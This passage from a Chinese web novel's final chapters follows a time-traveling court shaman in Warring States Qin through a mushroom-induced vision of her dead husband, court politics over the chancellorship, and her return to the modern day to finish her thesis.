命运将她推到厮杀的疆场,杀第一个人开始,楚越就不能回头了,要么终身生活在愧疚之中,要么忘记过去。 现代的一切并不适用于这个时代,所谓唯物,就是以这个社会发展的一切为基准,忘记所有,重新开始。 老巫点头,“是。” 她看向嬴轩,昏花老眼认真盯着他看了许久,终于发现了些许端倪,“你不是公子。” “他死了,楚人杀了他。” “这是他自己选择的路,你的念,勾着他的魂。”老巫蒙着层白翳的眼睛,死死盯着楚越,“念不断,他就会回到你身边,一次又一次,这都是你和他自己的选择。可是芸芸众生的命缠在一起,宿命并不会因为任何人而改变,你们只会一次一次,重蹈那个结局。” 楚越有些动容,“我还能再见到他吗?” “你还想再见到他吗?想,就可以。” 一碗漆黑的药放在楚越面前,老巫道:“喝下它,你就能见到他。” 楚越犹豫了下,还是害怕里面有毒,这毕竟巴国的地方,秦人占据了巴国的土地,他们算是入侵者,多年前魏人对她的伏击,尚刻在脑海中。 “我要是死在这里,方圆十里不会有一个活口。” “这是姬荷王女自己留下的。” 嬴轩觉得不可信,想要阻拦,楚越却已经端起药碗,一饮而尽。 菌子,熟悉的菌子,又是菌子药 吃了菌子之后,大脑昏沉,楚越忽然有些后悔,谁知道这是吃了菌子产生的幻觉,还是真的发生呢?不能因为之前的事情应验,就觉得以后的事情都该是真的。 她也靠着预言的能力,不时夹带些私货,为自己谋取了不少私利。过去的秦王分不清,相信她,现在的她也分不清,心中怀疑。模糊不清的东西,只会让人徒增悲伤。 况且,真见面了,她又该和嬴华说些什么? 思绪混乱,她的头也随之剧烈疼了起来,眼前越来越亮,金色的夕阳,照在她的脸上,晃得她睁不开眼睛。 楚越抬手,挡住眼前光线,勉强睁开眼睛,场景熟悉,是秦王宫中,卫夫人的殿阁,她站在宫檐下,面前是一片开阔地带。宫人内侍忙碌其间,无人愿意将半分注意投到她身上。 暮光中的秦王宫笼罩在一片宁静与祥和中,楚越极目远眺,试图找到那道熟悉的身影,一道孤独的身影很快出现在夕阳之中,茫然徘徊,虽然隔得很远,但楚越还是一眼就认出那是嬴华。 她想要上前,步伐又一时止住,低头理了理自己的鬓发,才往前跑去。 王宫场景随着她的奔跑,飞速消失在两侧,荒野无边,她越往前跑,两人相隔的距离越远,楚越不得不停下来,嬴华也觉察到有人靠近,当即转过身来,露出一张那张蓬头垢面、满是血污的脸。 他站在荒野尽头,盯着楚越的方向,目光依旧茫然,似乎已经不认识她是谁了。 “你是谁?我好像在哪里见过你。” “我是我是楚越啊。”她听见自己的声音在颤抖,不知是因为久别重逢,还是因为无法接受眼前现状。 嬴华问道,“楚越是谁?” “是姬荷。” 熟悉的名字,牵动他某根痛苦的神经,嬴华茫然的神情陡然痛苦起来,他步步后退,最终踉跄跪倒在原野上,身上各处伤口,开始大量渗出血迹,剧痛迫使他低下头,他却依旧挣扎着,想要站起来。 “我不能死,我要回去,我死了,她就活不了了。” 楚越想要走前去,面前忽然腾起一片大火,吓得她浑身一颤,连连后退。站在火墙之后,她听清嬴华声声带血的字句。 “我不要做这个秦王,我也不想要她死。我很爱她,可我也很爱我的兄长,公父去世得早,是兄长照料我长大。我是秦国的臣子,我不能这样做,这样做,会毁了秦国的。” “我不该带她回秦国,我到底还是没能保护她。” “我听到她的哭声了,她一定在等我。” 嬴华猛然抬头,望向火墙,楚越死死捂住嘴,两行清泪渗入指缝。 她试图穿过火墙,可她越往前走,火势越大,火苗卷起她乌黑的发丝,瞬间变得焦黄,她不得不停下来,对嬴华大喊。 “她不会死,她会活着,她没有哭,她会坚定的活下去。” “她会活的很好,哪怕没有你在她身边,她一个人也可以过得很好,你要相信她”楚越哽咽,声音越来越小,到底,她还是说不出口。 “你不用骗我,我知道的。”嬴华道:“野心只有两种结果,得偿所愿,和粉身碎骨,我不帮她,就是在害她。” “我要回去的。”他依旧倔强。 看着眼前浑身是血,却执着想要归家的嬴华,楚越忽然觉得他像个倔驴,忍不住笑了下,一声笑出来,泪水又接踵而至。 她凝视嬴华良久,这一瞬,她冷静的像个旁观者。 “你是秦国的公子,秦人几百年的社稷落在你的肩上,几十代先公的血洒在地上,你们才拥有而今的疆土,你没有错。她是王女,为巴国的社稷而死,也心甘情愿,你们都没有错。” “错就错在,你们生活在这个乱世,列国都要做天下的主人,强大的,要吞噬弱小的,天下人的命都交织在一起,人间已经成了鼎镬,烹煮世人。” 嬴华被楚越的话打动,从手中抬起一双满是悲怆的眼睛,“我对她说过,秦国这么做,是为了终结这个乱世,终结必定会伴随着牺牲,我必须这么做。” “是!”楚越肯定道,“所以嬴华,你不该执着的回去,也不该希望她活着,为了这个美好的理想,她应该去死。只要她活着,她就会不择手段的重振她的国家。” 没有人能坐视自己的国家灭亡,即便是面对天下一统、战乱结束的洪流,人们依旧会站在自己所珍视的事物面前,奋战至死。 只有死亡,才是真正的结束。 楚越似乎想明白了什么,毅然决然的往前,踏上了火墙的边缘,烈火沿着她的衣角蜿蜒而上,她却什么都感觉不到。 她似乎又回到了巴王宫的祭台,漫天大火,映红半边天际,她越过火光,抱住了嬴华。 “你记住,她是为了秦国、为了巴国,为了所有殉难在这场战争中的人,为了你们的理想,和你们的感情而死。不要再想着回去了,闭上眼睛,捂住耳朵,不要想她,也不要再听她的哭声,往前走吧。” 她松开手,长风起,吹动两人鬓发飞舞,“走吧。你们的理想,最终实现了,秦国,终结了那个乱世。” “真的吗?”嬴华眼中闪出泪光。 楚越肯定道:“是。” 不知道为什么,嬴华鬼使神差般,按照这声音所指,转身往前走去,走着走着,又忽然停了下来,楚越不知道他 为什么止步,嬴华转过身望向楚越,强大的眷恋与不舍拖住了他的脚步,他望着楚越,不知为什么,心中升起阵异样的感情。 情愫炽烈复杂,似曾相识的强烈熟悉感,与失而复得的喜悦交织,混合无尽的分离愁绪。嬴华往荒野尽头的方向看了一眼,又回头看了楚越一眼。 直觉告诉他,一旦走出这片原野,他将再也见不到这个人,嬴华低头,陷入了艰难的抉择之中。 “不重要了,我是谁,已经不重要了,你为什么会对我有这样的是感情,也不重要了。已经见到了,走吧,嬴华。” 长风不断,嬴华一步三回头,楚越静静望着他远去,直到那道背影消失在荒野尽头。 她站在荒野之上,不知道站了多久,日升日落,光影变化,直觉告诉她,嬴华不会回来了,姬荷是为了所有殉难的人,为了终结乱世的理想,为了他们的感情而死。 那嬴华,又何尝不是。 她为他而来,年轻的王女,念念不忘汉水边的青年,想要见到,想要和他在一起,憧憬着花前月下,天长地久。血与火摧毁美好的希冀,却从不曾真正分开他们。 乱世终结,他们的爱便不朽。 楚越在草地上坐下,心想,等她醒了,她一定要把山上的菌子都拔了,以后谁也别想拿这玩意儿再坑她,秦国头号神棍,居然被别国神棍坑了 每一个人,都有自己对口的保健品,谁也逃不掉。 嬴华走啊走,走到了光明的尽头,进入一片黑暗之中,黑暗中,什么也没有,一道若隐若现的招魂歌声,指引着他往前,他慢慢走出黑暗。 夏日天空晴朗,一望无云,十七岁的少年公子从草地上站起来,拍拍身上的灰土。忽然有随从道,“公子,大王命你进宫呢。” “知道了。” 他走到宫檐下,少女年纪虽小,却给人一种熟悉的感觉,嬴华不由自主走上前,和她说起话来。短暂相处,就要分离,嬴华被这复杂的情绪困扰,屡屡回头,可是身后那个姑娘却对她挥手,高声道:“再见。” 见状,嬴华再没有任何犹豫,大步往前走去。 脑海中始终有道声音回荡,他要为了他们的理想,往前走,去终结这个乱世。漫天红霞,夕阳照在他身上,似爱人的怀抱温暖,长风吹过他的脸颊,熟悉的感觉,消散在风中。 第79章 官复原职所有的东西都失而复得…… 楚越幽幽从幻境中醒来,视线还未恢复,鼻尖先嗅到一股清香,似乎是芙蕖的香气,眨了眨眼,视线逐渐清明,她发现自己趴在桌上,屋中空荡,唯有对面坐着的老巫一人。 见她醒了,老巫抬手,指向她身后,楚越回首,屋中不知何时刮起了帐幔,轻纱之上,倒映男子高大峻拔的身影,巍峨如山,观之似累玉。 这轮廓与装扮,都何其熟悉。 她一时愣住了。 青铜香炉腾起阵阵青烟,青烟寥寥,散入轻纱,模糊经纬线分明。 楚越凝视那背影良久,忽然站了起来,大步上前,一把抓住那帷幔,用力扯了下来。丝帛缓缓坠落,似月光降落人间,那道模糊身影,渐渐清晰。 是嬴轩。 “我分得清你跟嬴华。”她盯着嬴轩的眼睛,逐字逐句道。 嬴华,比嬴轩略高一点 楚越抚去落在身上的轻纱,转身坐在桌案前,她看着面前老巫,若有所思,老巫见楚越扯掉了轻纱,道:“在下没有招魂的能力,不能让已经死去的公子,来见夫人,只能出此下策。” “不见了。”楚越道:“不想了。” 嬴华走前,她就预感到他不会再回来,他离开之后,这种感觉依旧强烈,可是楚越不知道这种感觉究竟来自于何处,现在,她明白了。 她知道他在做什么。 这也正是她想做的事情。 嬴轩只是好意,却办了坏事,见楚越神情低落,他有些过意不去,凑过去,想和她说些什么,楚越却起身走了。 这一走,就是大半日,傍晚时分,她才回来,嬴轩正坐在廊下等她,没等他开口,楚越先道:“谢谢你。” 她在他身边坐下,像无数个傍晚,他忙完归家,在正低头纺线的她身边坐下一样,岁月静好,男耕女织,嬴轩忽然笑了下,“我只是希望你开心点,但似乎办了坏事,可我真的是好心。” 楚越低头,盯着地面不语。 见楚越不说话,嬴轩自顾自道:“我不知道为什么,你和堂兄都是那么勇敢的人,而我不是。我不喜欢打仗,这些年,我一直醉心工事,就是喜欢那种累到极致,闭上眼睛就是睡着的感觉,而非深陷噩梦。” “年少时,我觉得从军,是一件非常值得骄傲的事情,能成为秦国的将军,是一种骄傲。那个时候,我并不觉得你有多厉害,反之,觉得自己一定能超过你,但是后来我发现,我兄长不带我出去打仗,实在是一件再明智不过的决定。我不得不承认,自己是个怯懦的人,不适合战场。” 嬴轩看向楚越,由衷道:“你是个很厉害的女人。” “我很害怕杀人。” 这句话,似乎勾起了楚越心中某根敏感的弦,她有反应了,侧首看向嬴轩,示意他继续说下去。 “我总是做噩梦,梦里,都是我杀掉的人,即便是韩人,也是活生生的人,和我一样,活生生的人。今天我杀了韩人,明天,我会不会也死在韩人手里,我恐惧被杀,所以也害怕杀人。” 楚越垂眸,想了下,“然后呢。” “堂兄安慰我,说以后就会好,我也觉得,硬着头皮继续往前,但战场并没有搓掉我的怯懦,反而让我愈发胆小。在我实在坚持不住,快要扛不住去做个逃兵的时候,堂兄看出我的不对,将我安排到后方。他还对我说,不要紧。” “我现在还记得他对我说过的话,‘不要紧,你是个良善的人,是不该有这场战争,而非,你不该自责怯懦,即便是敌军,也和我们一样,都是活生生的人,你是人,不是禽兽,更不是杀戮的工具。有我们这样的刽子手,也要有你这样记住良知的人,才不至于,交战双方都同归于尽在这厮杀之地。’” “他说,他会挡在我的前面,杀掉所有的敌人,到时候,我再出来。但是他死了,被敌人杀死了。” 嬴轩的眼睛,一霎暗淡下去。 楚越眸光闪烁不定,片刻,她蹙眉,微微思索,“你答应和我成婚,是因为嬴华?” “总不能是我喜欢你,所以娶你吧。”嬴轩看了楚越一眼,眼中含笑。楚越翻了个白眼,“那你去九泉之下见嬴华的时候,最好穿甲,否则他会收拾你。” 见楚越满不在意,嬴轩眼中笑意渐渐散去,变成淡淡惆怅,他转过头,看向远方,门前莲池,一片绿意盎然,荷花开放,清香阵阵。 “我还有件事要告诉你,我想留在巴蜀,在这里种种地就好了,不回咸阳了。” 楚越愕然,“你说什么?” “我不想再回咸阳了,我觉得,那是个可怕的地方,齐人、韩人、楚人要杀秦人,秦人自己也要相杀,分明是手足兄弟,却要同室操戈。王室的体统、尊严、温情,全被践踏,我改变不了这一切,只能怯懦的逃跑。” 楚越一时沉默,古往今来,权力斗争都是血腥的,他以为嬴轩生在 王室,早就有了接受这一切的准备。季君之乱,伤害了宗室的感情,可所有人都必须硬着心肠承认这一切,因为秦国只能有一个王。 夫妻是绑定的利益共同体,楚越还想劝一下嬴轩,对她而言,现在不是和离的最好时机,起码要等到她恢复一定地位。 “我知道你在做什么,你需要秦国宗室这个身份,宗室也需要你这种有才之人,如果你愿意,可以继续保留这个身份。”嬴轩口气平淡道,“当然,你要有更好的选择也可以。” “不过现在秦国应该没有了,你总不能去找小你十多岁的年轻公子公孙们吧。”说完,嬴轩蹙眉认真打量了楚越一眼,楚越回瞪他一眼,“闭嘴。” “你留下可以,嬴明要跟我走。” 嬴轩一愣,“那我儿子!” “你不如问问他们愿意跟谁走?”楚越侧首,挑眉道。 “你们愿意和谁走?” 嬴轩话音一落,几个孩子纷纷看向楚越,他面色一僵,一旁楚越忍俊不禁,掩唇笑出声来。 “看来,他们都不想跟你留在这儿。” 嬴轩恼怒道:“我真是白生你们了。” 楚越笑了,“他们是阿母生的,你一个大男人怎么生?” 几个孩子低头,楚越扫了他们一眼,继续道:“你都说了,你少时怀着个做将军的梦,他们和你当初一样,怎么会甘心留在这里。” “这倒是,不愧是我的儿子!” 嬴明已经成年,跟在楚越身边,参与战事,嬴尹和珠珠一般年纪,也跟在她身边,做些端茶倒水的杂务,顺便观摩学习,为将来进军营做准备。 至于嬴樛,他与嬴和每天睁眼就是玩,玩的灰头土脸,不亦乐乎。 少年的心中,满怀激昂理想,没有人愿意跟着嬴轩,留在宁静之地,碌碌终老。小孩子的世界里,只有伙伴,也没人跟着嬴轩,走出半生,归来成了空巢中年人。 “走吧走吧。”嬴轩无奈,“都走了我才清净,一天天不是哭就是闹,烦死我了,你爱带走就带走。” 嬴轩上书,请求留驻巴蜀,楚越几人则随司马错班师,战胜之后,论功行赏,众人的封赏都已经颁下,就连珠珠,也得到封赏,担任了楚越曾经担任过的司巫之职,唯独楚越一人被遗漏。 就在众人都以为,她不会再得到封赏之际,秦王的诏书却送到府上,嬴稷恢复了她大司巫的官位,兼执掌天启阁,赐千金、良地百顷。 嬴华和她原本的府邸,秦王也都一并还给了她,失位四年,两处府邸中,各处早落满尘土。从门可罗雀,到门庭若市,只在诏书颁下的一瞬,从前旧物,也一一被送归。 “庶长起命在下为大司巫送来一件贺礼,恭喜大司巫复位。” 铁笼之中,猞猁皮毛发亮,小虎已经闻出了楚越的气味,急的在笼子里团团转,诙一打开笼门,它就迫不及待冲了出来,直奔楚越,在她身上蹭了又蹭,喉咙里发出呼噜噜的响声。 楚越摸了摸小虎的头,“不是放你归山了吗?怎么又被人抓回来了。” 小虎不语,一味热发动机。 “替我多谢庶长。”楚越对来人道,“改日必定登门道谢。” 来人走了,诙上前,对楚越道:“主君,严君的病愈发重了,是否要登门去探望?”楚越离开咸阳前,嬴疾就病得很重,他的夫人找到楚越,希望他能向神灵祝祷,让嬴疾痊愈。 惠文王病重时,也做过相同的事情,派人向山神,祈求病愈。若非药石无灵,断不会乱投医到祈求鬼神,一年未见,嬴疾的病只会更重。 “的确应该去探望。” 嬴疾病得已经神志不清,说不出话来,楚越入内,严君夫人在他耳边轻声道:“夫君,大司巫来了。”他才艰难睁开眼睛,灰暗的瞳眸,目光已经涣散,很难聚拢。 初来秦国时,年轻的将军,已经躺在床上,行将就木。 时光荏苒,一晃二十多年流逝,先后送走惠文王、惠文后、嬴华、年轻的武王,走过半生,归来铜镜中青年女子,依旧面容年轻,神情坚毅。 她才三十多岁,波澜壮阔几十载,人生却才刚开了点头,楚越心中百感交集,严君夫人凑到嬴疾耳边听了一会儿,对楚越道:“他有话要单独和你说。” 严君夫人出去,楚越在嬴疾榻前坐下,良久无言。 嬴疾费力张唇,喉咙中发出咿咿呀呀的声音,楚越凑近去听,却听不真切,她想了想,似乎猜到嬴疾想要说什么,开口道: “你想说,宗室以后交给我了。” 嬴疾松了口气,紧紧盯着楚越,楚越抬眸,并不看他。 “大王刚刚登基的时候,根基还不稳,有公子壮、公子雍这些威胁,所以不得不快刀斩乱麻,以免他国趁虚而入。所以你截住宗室,不让他们入宫,等到惠文后死了,一切尘埃落定,再也不会有任何人威胁到新王的王位。” 楚越垂眸,对上嬴疾的视线,“这和我当初在武王病榻前和你说的话,一模一样,你想说,我选择新王的时候,其实就放弃了惠文后。你想让我,忘记过去,辅佐秦王。” 嬴疾忽然长舒了口气,楚越说出了他心中想说的话,那些迫切、焦急,便烟消云散,他点点头,依旧紧紧盯着楚越。 楚越望着他,眼神渐渐浮上悲伤之色,“会的,我会留在秦国,秦国,会终结这个乱世,天下会从战乱中走出,恢复宁静与和平。我用我自己的名义向你起誓,这句话绝对是真的。” 嬴疾还未死,他的身后事就在秦国朝堂掀起了阵不小的风浪,武王时,废除了相国之位,分设左右两位丞相,分别由嬴疾、甘茂担任,后来甘茂奔齐,季君之乱中,嬴疾力挺昭襄王,在宫门前截住、稳住了宗室, 昭襄王感念叔叔,又恢复了相国之位,由嬴疾担任,现在,他要死了,相国之位,又该让谁接任?【你现在阅读的是 】 大结局 第80章 OE大结局大结局大结局正文…… 魏冉想做相国不是一天两天了,而是三年又三年,他实在是太想当相国了! 谁当相国,由秦王做主。他早不是母亲手中的傀儡,及冠亲政,只言片语便否定了太后的意见,发兵援韩,击退楚国,解了雍氏之围。 秦王并不想外戚做大,外戚干政,放在任何一位成年君主身上,都是不被接受的事情,嬴荡登基,打压外戚魏系,驱逐张仪、魏章,嬴稷也是,他就是不让魏冉做相国。 左右丞相空一个出来,那就废除左右丞相,恢复只有一个的相国之位,让资历在魏冉之上的嬴疾担任。并且他一直有意无意,扶植别的力量,抑制外戚。 年前,秦齐两个大国,约上韩魏,准备攻打楚国,攻楚的主将,是秦国的宗室——嬴稷的兄弟兄弟公子奂,先武王用兄弟公子封伐宜阳,嬴稷用公子奂伐楚。 这个兄弟也很靠谱,大胜而归。 两方相互牵制固然好,但最稳固的还得是三角形,否则两派只顾相斗,很容易为了自己的利益,罔顾国家大事。 从前有相国嬴疾在,能很好的协调百官,他是宗室,又颇有军功,能镇得住人,无论是宗室还是将领,都听他劝。往后嬴疾不在了,总要有人接他的班。 楚越特殊的身份,也可以做两方的中间人,劝劝这个,再哄哄那个。 想明白自己是接嬴疾的班,楚越一拍桌子,“这相国就应该让我来当!” 干相国的工作,发大司巫的薪水,这合理吗? “的确。”一旁珠珠闻声,贴近楚越,在她怀中撒娇道:“就是,让一个别国人当相国,哪有让阿母当相国好。他们没有阿母聪慧,也没有阿母对秦国的了解,这相国之位就该阿母来做。” 这一番话哄的楚越喜笑颜开,她摸了摸珠珠的脸,“我的儿,你可真会哄人。” 庭外两道黑影忽的一下掠了过去,嬴樛和嬴和跑得满头大汗,他们跑得快,等发现来人时,已经来不及,直挺挺撞了上去,来人的反应也很快,长臂一展,左右各抱住两人。 “小心。” 嬴和看清来人的脸,对屋中喊道:“阿母,是白将军。” 楚越拍了下珠珠,示意她坐好,白起入内,两人相互见礼,楚越看了一眼珠珠,示意她知礼,为来人备酒。粮食酿造的甜酒,度数低,和酪浆一起,作为这个时代主流饮品。 珠珠有些不情愿,但还是退下,不久之后,他端上来了一杯茶。 这个时代不流行喝茶,但楚越爱喝,常用来招待客人,味道苦涩的绿茶,的确有很强的赶客功效。楚越扶额,孩子大了,说也说不得,万一跟黄毛(古 代版)跑了,那就得不偿失。 “请。” 只能委屈白起,绿茶口感不好,但有益身心健康,多喝也没什么坏处。 白起面不改色,珠珠诡计不曾得逞,脸上有些失落,唯恐她再捉弄白起,楚越对珠珠道:“去把你弟弟找回来,我有话跟他说。” 珠珠奉命离去。 一时屋中更没有别人,楚越才开口问道:“你来,是有何事?” 楚越想一定是魏冉托白起来的,嬴疾一死,相国之位就空了出来,为了自己能成功接位,魏冉迫不及待指使自己的党羽上书,请求秦王任命他为丞相。 为了当上丞相,魏冉还特意带着礼物来见了楚越。 一大箱金子重重砸在屋中地板上,楚越愕然,“你贿赂我?” “这算什么贿赂。”魏冉也不让,径直在楚越对面坐下,“就咱俩这交情,你是婼的妹子,就是我妹子,对吧,我给妹子送点东西,怎么了?” 楚越笑了声,“大将军出手真是阔绰啊。” “哎呀,这算什么,你帮我当上丞相,你想要多少我送你多少,你是三朝元老,大司巫,你说话,大王肯定会听,我都等了这么多年了!” 魏冉埋怨道:“当时是左右丞相都有人,我顶不上,严君是王叔,我比不过,甘茂是武王旧臣,留着他是为了稳定朝局。这我都认,但后来甘茂走了,我没顶上,现在严君也快死了,我不能还顶不上吧!” 也是当上三朝元老了。楚越心想。 楚越虽然年轻,但是资历深,她的工龄,可以从五岁开始算,三十年工龄,一般大臣,真没她这个资历。 “我听说赵人楼缓要来秦国,他要是当了相国,那我当什么!” 他抬眸,魏冉满脸愤懑,眼中全是功高却不得封的幽怨,作为舅舅,他对嬴稷这个外甥有大功,帮他除去了威胁王位的兄弟,杀了惠文后,赶走了悼武王后,可是到头来,这个外甥却连一个丞相之位,都不愿意给他。 他怎么能不生气。怎么能不着急! 楚越听魏冉发完牢骚,想了想,道:“魏冉,你想过没有,如果你成为相国,秦国,将有一位太后、一位掌握大权的丞相,新城、泾阳、高陵三侯,外戚的力量是否太强。” “强什么!”魏冉当即反驳道:“子芾他们是有封地,但最多是有点钱,一不掌军,二不掌权,他们两个小子能干什么。王上也成年亲政了,太后只是偶尔过问一下,你看看列国母后,哪个不关心朝政?我当相国又不是因为我是王上的舅舅,我也打仗的!” 魏冉从军多年,战功赫赫,也的确够当相国的资格。 “你是这么想,可大王未必这么想,你得让大王知道,你是向着大王的,大王才能任命你为相国。”楚越提点道。 魏冉看向楚越,示意她继续说。 楚越却不说了,魏冉急的团团转,几次加钱,但她就是不说,只神秘兮兮道:“时机未到。” 白起淡淡反问道:“无事我就不能来见你吗?” 楚越诧异抬眸,恰好对上白起平静的视线,漆黑的眼中,目光依旧温柔,充斥着眷恋与不舍,他还是这样,和五年前没有任何区别,五年前,他也是这样望着自己,跟着自己出嫁的婚车,走完了全程。 那个时候,她沉浸在痛苦之中,对这一切,硬着心肠视而不见。可巴蜀一行,让她想明白很多事。 嬴华之于她,仿佛她之于白起。 一样的爱,一样的不得,一样的怨恨,现在她走到一切的终点,释然嬴华之死,又该以何种面目,去对白起呢? “白起。”楚越艰难开口。 “如果我和你在一起,我会失去很多东西,而你,也会受我牵连。” 一位功高的列候,和一个能预言天命的大司巫,两个人加在一起,看遍列国,也不会有任何一位大王放心。 “乱世,不允许我们放下这一切,我们要抓住权柄,才能有活下去的机会。白起,等到天下平定的那一天吧。等到那一天,我和你归乡隐居,我做一个寻常农妇,你做铁匠。” 眼见白起也没有问出答案,魏冉悬着的心彻底死了。 不久之后,齐国遣使者来秦,要和秦国巩固邦交,秦王听说齐国的孟尝君颇有贤名,想邀请他入秦为相。齐国怕秦国有诈,于是提出孟尝君相秦可以,但秦国也要派遣一位公子,入齐为质。 交质是常见外交手段,但秦国国内,就让谁出质一事,掀起了阵小小风波,孟尝君是齐王的叔叔,在齐国国内地位很高,如果秦国随便送一位公子,地位不对等,恐怕落齐国口实,最好的人选,是秦王同母兄弟中的一个。 太后尚在,要让他的幼子出质,怕是 这是件得罪人的事,可楚越是第一个站出来上书的人。 “臣以为,公子出质,是为国的大事,自然身份越尊贵才越好,不如让王弟泾阳君出质齐国,促成两国结盟。泾阳君是王上同母胞弟,尊贵无双,相信齐国一定能感知秦国诚意。” 此话一出,朝堂上一片寂静,为质固然于国有利,但对质子本人而言,却是危险重重。楚越不是忘记了当年张仪劝惠文王质公子繇于魏,被公子繇记恨的事情,是这件事办好了,对多方都有利。 “泾阳君以为如何?”秦王问得直截了当。 话说到这份上,泾阳君就是再不想去,也得去,“弟愿往,只是父母在,不远游,弟若离咸阳,恐怕母后担忧。” 小子搬出了老妈来压哥哥,秦王的脸色顿时不悦,大臣们见状,纷纷劝阻,唯恐话说的慢了,得罪太后和泾阳君。 在众臣的反对下,秦王不得不道:“此事改后再议。” 出了大殿,楚越便被泾阳君拦住了,珠珠见来者不善,挡在楚越身前,楚越伸手,将珠珠拉回身后。 “芾自问,从未得罪叔母,叔母为何如此对我?” “我是在救君上,君上有些不识好歹了。” “哦?我竟不知,自己将大祸临头,需要大司巫来救?听闻大司巫能预言占卜,能占卜到自己将有灾祸吗?” 正值青春期的嬴芾,和当年的嬴繇一模一样。 选修课上学的《触龙说赵太后》派上用场了。 “位尊而无功,奉厚而无劳,无劳无奉[1],如何守金玉之重?太后与王上封泾阳君膏腴之地,却不见你有功于国,一旦山陵崩,泾阳君将如何自托于秦?” 嬴芾的脸色顿时变了,“你敢诅咒太后?” 楚越毫无畏惧的盯着嬴芾,“泾阳君出生时,我为泾阳君拔除,故而才在殿上,谏言大王,命你出质齐国。你若不识好歹,自寻死路,我也不拦着,君上请自便吧。” 嬴芾还想说什么,却听身后一阵呵斥,“嬴芾,你做什么?” 他转过头一看,不是魏冉是谁,他身旁,还站着白起,两人边走边聊,两人一转头,便看见嬴芾拦住了楚越。 生怕嬴芾挨楚越的打,魏冉与白起一路小跑过来解救他,嬴芾见魏冉在,只得对楚越道歉:“叔母,冒犯了。” 嬴芾不情不愿的离开了,魏冉这才埋怨道:“不是,你不帮我就算了,你还帮齐国人来秦国做相国。” 泾阳君出质,孟尝君来相秦,那魏冉还当什么相国?他不免对楚越有些怨言。 “齐秦都是大国,大国不会有恒常的友谊,孟尝君有贤名,心中却念着齐国,他未必想做秦国的相国,可你若是在大王面前,显得心胸狭窄,你可就做不了相国了。” 魏冉眼睛转了下,“那我也?子芾还小,出去当质子” “今上为质燕国的时候,也只有十几岁,你作为舅舅,如果偏心泾阳君,那王上心里该怎么想?你要做王上一个人的舅舅,做他一个人臣子,他才会放心,让你做相国。” 魏冉也建议泾阳君出质,太后得知楚越所说,对她加以褒赞,并同意让儿子去齐国为质。此事过后,魏冉终于当上了相国,咧着个大牙接受群臣的恭维。 战国时代,一个落魄的士,所能到达的最高位置,就是相国、列候。魏冉都得到了,虽然 昙花一现,转瞬即逝。 滴,相国体验卡已经到期。 泾阳君出质齐国,次年,齐孟尝君田文来秦,被任命为相国。此举有利于秦国邦交,魏冉,也短暂的得偿所愿。 所有人的不满,一时都有所缓解。楚越这摊稀泥得太棒了,成功把大家全糊上墙,大秦第一工匠,非他莫属。 魏冉失去了他最在意的相国之位,楚越和白起前去安慰他,夕阳西下,三人坐在咸阳城外一 片土丘之上,恰如二十年前在军中,当时少年,意气风发,睥睨天下,有囊括天下之志。 而今走来,只觉世事艰难。他们三个,都走得十分不易。 那官当多大是大啊?相国吗? 有道是,青史几行名姓,北邙无数荒丘[2]。 魏冉长叹口气,释然道:“算了,让他当吧,我要去继续打仗,我就不信了,我还当不上相国了!”楚越笑了,看向一旁白起,白起也笑了,拍拍魏冉的肩,“好,有志气。走,继续建功立业去。” 楚越歪头,笑着看向魏冉,“放心,你还能当相国的。” 魏冉眼前一亮,“你说真的?!” “骗你我是小狗。”楚越信誓旦旦道。 魏冉一个没忍住笑了出来,见他笑了,楚越也笑,白起也笑了,夕阳下,三人哈哈大笑 秦在昭襄王时期,实现了独霸天下。 这一时代,涌现大批如嬴疾、魏冉、白起、司马错的名将,秦国打得列国,毫无还手之力。 伊阙之战,斩首韩魏联军二十四万,秦国彻底扫平东出之路,对东,两次组织列国讨伐齐国,终结了齐国的霸业,对北,长平之战,坑杀赵军四十万,瓦解赵国胡服骑射以来强盛的国力,对南,鄢郢之战攻克楚国都城,焚烧楚国宗庙,楚国从此一蹶不振,屈原投水殉国。 六国,已经无力再抗衡秦国,一统天下,只在咫尺。前221年,秦统一天下,此时距离白起离世,已经过去了三十六年,楚越也已经长眠底下十二年 活到九十九,混成六代元老,然后寿终正寝,楚越睁开眼睛,回到了现代,看着自己电脑上那篇关于秦帝国时期政治制度得失的论文,她一时百感交集。 她是真的见过秦王政了。 就着那还未消散的感觉,文思泉涌,有理有据,改完了她的硕士论文。master头衔,最终还是保住了。 一时想不开,她决定申个博。 她一定要把自己挖出来,过一把当大学者的瘾 秦人焚烧了楚国的宗庙,挖掘了楚人的陵墓,许多年后,楚人的后裔又进入咸阳城,重复了当年秦人在楚国都城所做的一切。 项羽,杀死了秦王子婴,此后末代司巫,便不知所踪。 汉军从咸阳离开的时候,带走了秦宫中的律令文书、名册户口,当姜照翻看那些萧何从咸阳王宫中带走的秦国文册时,在细微处发现了一些非比寻常的东西,有关秦国的司巫家族,和嬴玥的来历。 秦国销毁了很多关于叛臣的记录,其中就包括秦国的司巫家族,嬴玥的身世,已经不可考。 这个家族应该是秦国的宣传口,掌控秦国的思想,但在秦王政统治的某一年间,忽然销声匿迹,似乎被连根拔起。 这一时期被抹除的,还有许多宗室大臣的记录。 但历史即便抹去,也会留下蛛丝马迹。 经过时间推算,他们应该都是受成蛟之乱或者蕲年宫之乱的影响。成蛟,秦王政同父异母的弟弟,嫪毐,这个被刻在耻辱柱上的男宠,两人一前一后发动了叛乱。 秦国的宗庙,在栎阳,蕲年宫,是宗庙的中心,比起成蛟,似乎蕲年宫和司巫的关系更密切,但嫪毐一个男宠,会有这么大的影响力? 在军功爵制度下的秦国,仅仅靠着裙带关系,就能封侯。他和赵姬的私生子,也能取代前任秦王的血脉吗? 姜照想继续翻,但秦国所有的记载,都口径一致。 嫪毐就是男宠,一个品行低劣的男宠。 她继续找了找,大司巫楚越似乎活到了九十九岁,历惠文王、悼武王、昭襄王、孝文王、庄襄王、秦王政六朝,真.奋六世之余烈。 秦王政曾向她咨询有关那个著名的‘亡秦者胡也’的预言,大司巫似乎作答了,但答了什么,并未被记载下来。这个充满着神话色彩的家族,随着嬴玥的死,就这么消失在了历史的长河中。【你现在阅读的是 】